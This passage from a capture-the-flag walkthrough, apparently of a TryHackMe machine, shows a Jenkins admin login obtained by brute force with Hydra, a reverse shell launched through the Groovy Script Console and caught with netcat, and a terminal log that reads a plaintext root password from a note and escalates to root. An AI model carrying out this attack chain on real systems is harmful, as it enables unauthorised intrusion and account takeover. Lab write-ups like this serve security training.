Hydra was able to brute-force the admin user’s password. Logging into Jenkins:

Jenkins comes with a “Script Console” administrative tool, which allows authenticated users to run scripts using Apache Groovy, a Java-syntax-compatible object-oriented programming language for the Java platform. This can be leveraged to execute Bash commands as well as reverse shells.

Clicking on “Manage Jenkins–>Script Console:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

    -l to listen for incoming connections
    -v for verbose output
    -n to skip the DNS lookup
    -p to specify the port to listen on

Used the reverse shell also from this handy blog post, replacing IP address and port:

A callback was received, granting access as the jenkins user within a Docker container:

When enumerating common files and folders in the web server, the /opt directory appears to contain a note with the root password:

cd /
clear
TERM environment variable not set.
export TERM=xterm
clear
whoami
jenkins
pwd
/
ls -la
total 84
drwxr-xr-x   1 root root 4096 Aug  3  2020 .
drwxr-xr-x   1 root root 4096 Aug  3  2020 ..
-rwxr-xr-x   1 root root    0 Aug  3  2020 .dockerenv
drwxr-xr-x   1 root root 4096 Aug  3  2020 bin
drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
drwxr-xr-x   5 root root  340 Mar 21 12:54 dev
drwxr-xr-x   1 root root 4096 Aug  3  2020 etc
drwxr-xr-x   2 root root 4096 Sep  8  2019 home
drwxr-xr-x   1 root root 4096 Jan 30  2020 lib
drwxr-xr-x   2 root root 4096 Jan 30  2020 lib64
drwxr-xr-x   2 root root 4096 Jan 30  2020 media
drwxr-xr-x   2 root root 4096 Jan 30  2020 mnt
drwxr-xr-x   1 root root 4096 Aug  3  2020 opt
dr-xr-xr-x 130 root root    0 Mar 21 12:54 proc
drwx------   1 root root 4096 Aug  3  2020 root
drwxr-xr-x   3 root root 4096 Jan 30  2020 run
drwxr-xr-x   1 root root 4096 Jul 28  2020 sbin
drwxr-xr-x   2 root root 4096 Jan 30  2020 srv
dr-xr-xr-x  13 root root    0 Mar 21 13:56 sys
drwxrwxrwt   1 root root 4096 Mar 21 12:54 tmp
drwxr-xr-x   1 root root 4096 Jan 30  2020 usr
drwxr-xr-x   1 root root 4096 Jul 28  2020 var
cd /var
ls -la
total 64
drwxr-xr-x  1 root    root    4096 Jul 28  2020 .
drwxr-xr-x  1 root    root    4096 Aug  3  2020 ..
drwxr-xr-x  2 root    root    4096 Sep  8  2019 backups
drwxr-xr-x  1 root    root    4096 Feb  2  2020 cache
drwxr-xr-x 15 jenkins jenkins 4096 Mar 21 12:55 jenkins_home
drwxr-xr-x  1 root    root    4096 Feb  2  2020 lib
drwxrwsr-x  2 root    staff   4096 Sep  8  2019 local
lrwxrwxrwx  1 root    root       9 Jan 30  2020 lock -> /run/lock
drwxr-xr-x  1 root    root    4096 Feb  2  2020 log
drwxrwsr-x  2 root    mail    4096 Jan 30  2020 mail
drwxr-xr-x  2 root    root    4096 Jan 30  2020 opt
lrwxrwxrwx  1 root    root       4 Jan 30  2020 run -> /run
drwxr-xr-x  2 root    root    4096 Jan 30  2020 spool
drwxrwxrwt  2 root    root    4096 Sep  8  2019 tmp
cd /opt
ls -la
total 12
drwxr-xr-x 1 root root 4096 Aug  3  2020 .
drwxr-xr-x 1 root root 4096 Aug  3  2020 ..
-rw-r--r-- 1 root root  204 Aug  3  2020 note.txt
cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:tr0ub13guM!@#123

Root flag

Back to our initial SSH connection as aubreanna:

OR


Authenticating as root through SSH with the credentials found:
(ssh root@internal.thm)

www-data@internal:/$ whoami
whoami
www-data
www-data@internal:/$ cd /var/backups
cd /var/backups
www-data@internal:/var/backups$ su root
su root
Password: tr0ub13guM!@#123

root@internal:/var/backups# 

root@internal:/var/backups# ls
ls
alternatives.tar.0        dpkg.diversions.0    group.bak    shadow.bak
apt.extended_states.0     dpkg.statoverride.0  gshadow.bak
apt.extended_states.1.gz  dpkg.status.0        passwd.bak
root@internal:/var/backups#    

root@internal:/var/backups# cd /root/
cd /root/
root@internal:~# ls
ls
root.txt  snap
root@internal:~# cat root.txt
cat root.txt
THM{d0ck3r_d3str0y3r}
root@internal:~# 

Congratulations we got it :-)

Disclaimer